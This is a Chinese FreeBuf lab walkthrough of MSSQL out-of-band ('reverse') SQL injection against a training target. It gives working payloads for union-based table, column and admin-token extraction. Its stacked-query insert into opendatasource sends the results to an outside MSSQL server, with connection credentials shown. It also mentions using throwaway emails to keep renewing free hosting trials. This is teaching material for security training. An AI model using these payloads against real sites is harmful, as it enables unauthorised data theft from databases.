freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

MSSQL注入 — 反弹注入
2021-09-18 13:21:51

MSSQL反弹注入原理

依靠 opendatasource 函数,把查询出的数据发送到MSSQL服务器上。

MSSQL反弹注入使用场景

1631543108_613f5f4436301f8049c9b.png!small?1631543107075

香港云 快速搭建一个MSSQL环境

1631543346_613f603256f07ee1c38fa.png!small?1631543346163

可以用 临时邮箱注册免费的试用60天。

免费60天的试用,过期了就换个邮箱。

MSSQL反弹注入常见问题

1.猜数据时为什么不能用数字

根据了MSSQL的特性,虽然不能用数字但可用null和字母填充

2.MSSQL有系统自带库吗

有 为master.dbo.sysdatabase

3.反弹注入满足的条件

能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句

4.为什么反弹注入开头不是select?

因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into

5. xtype='U' 是什么?

设置查找用户建立的数据表

6.反弹注入使用情况

没有回显的注入,支持opendatasource函数

7.如何查询当前库名

select db_name()

MSSQL反弹注入语句解析

insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

Insert into 很明显是插入语句 然后出现了个opendatasource。

opendatasource 为了方便理解,可以看理解为 ‘使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。

语法:

OPENDATASOURCE(provider_name,init_string)

provider_name

注册为用于访问数据源的OLE DB 提供程序的PROGID的名称                 MSSQL的名称为SQLOLEDB

init_string

连接字符串

连接地址、端口、用户名、密码、数据库名

server=连接地址,端口;uid=用户名;pwd=密码;database=数据库名称

连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp  把后面语句的查询结果插入到那个表里面。

MSSQL反弹注入靶场实战

1.判断注入点

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1--%20wqe 页面正常显示

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-2--%20wqe 页面非正常显示

存在SQL注入。

2. 判断当前页面字段总数

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 3--%20wqe 页面正常显示

http://o9pz8015.ia.aqlab.cn/?id=1%27and%20-1=-1 order by 4--%20wqe 页面非正常显示

当前页面字段总数为3。

3.利用MSSQL语句来进行查询

注意:MSSQL 联合查询需要使用union all,并且有严格的类型要求。

不能和Mysql数据库一样查询可以输入1,2,3,要对应类型来注入。

id=1'and -1=-1 union all select null,null,null -- qwe

id=1'and -1=-1 union all select 1,'b,'c' -- qwe

检测出数字类型 2和3为字符串类型

1631883488_614490e0afbe80a679fa0.png!small?1631883487313

4.查表名

id=1'and -1=-1 union all select id ,'a',name from sysobjects where xtype='U' -- qwe

1631884012_614492ec847204c48be73.png!small?1631884011159

得到news表,admin表和dtproperties表。

select name from sysobjects where xtype='U';

xtype='U' ====》代表用户创建的表;

xtype='S'  ====》代表系统自带的表。

5.查列名

记住我们需要的表对应的id值:1977058079;

用 syscolumns 来查看admin表里的字段。

id=1'and -1=-1 union all select id ,'a',name from syscolumns where id =1977058079 -- qwe

1631884823_614496171f58f095905f9.png!small?1631884821745

6.查字段内容(得到FALG)

id=1'and -1=-1 union all select id ,'a',token from admin-- qwe

1631885006_614496cebb64b517e8de2.png!small?1631885005553

7.反弹注入获取FALG

反弹注入条件需要满足 能堆叠查询。

堆叠注入:    在注入的时候可以用; (;代表语句的结束)

判断能否使用堆叠注入:

id=1';select 123-- qwe  页面显示正常,能使用堆叠注入

1631941169_6145723195442d022feb0.png!small?1631941169781

插入数据:

id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select table_name from information_schema.tables-- qwe   页面显示正常,插入数据成功。

1631942234_6145765a84bc202c158c0.png!small?1631942234709

查询数据:

';insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC2E5_wlb_admin;pwd=123456789;database=DB_14DC2E5_wlb').DB_14DC2E5_wlb.dbo.teener select token from admin-- qwe

1631942301_6145769d29b58c8281c18.png!small?1631942301268



# 渗透测试 # web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录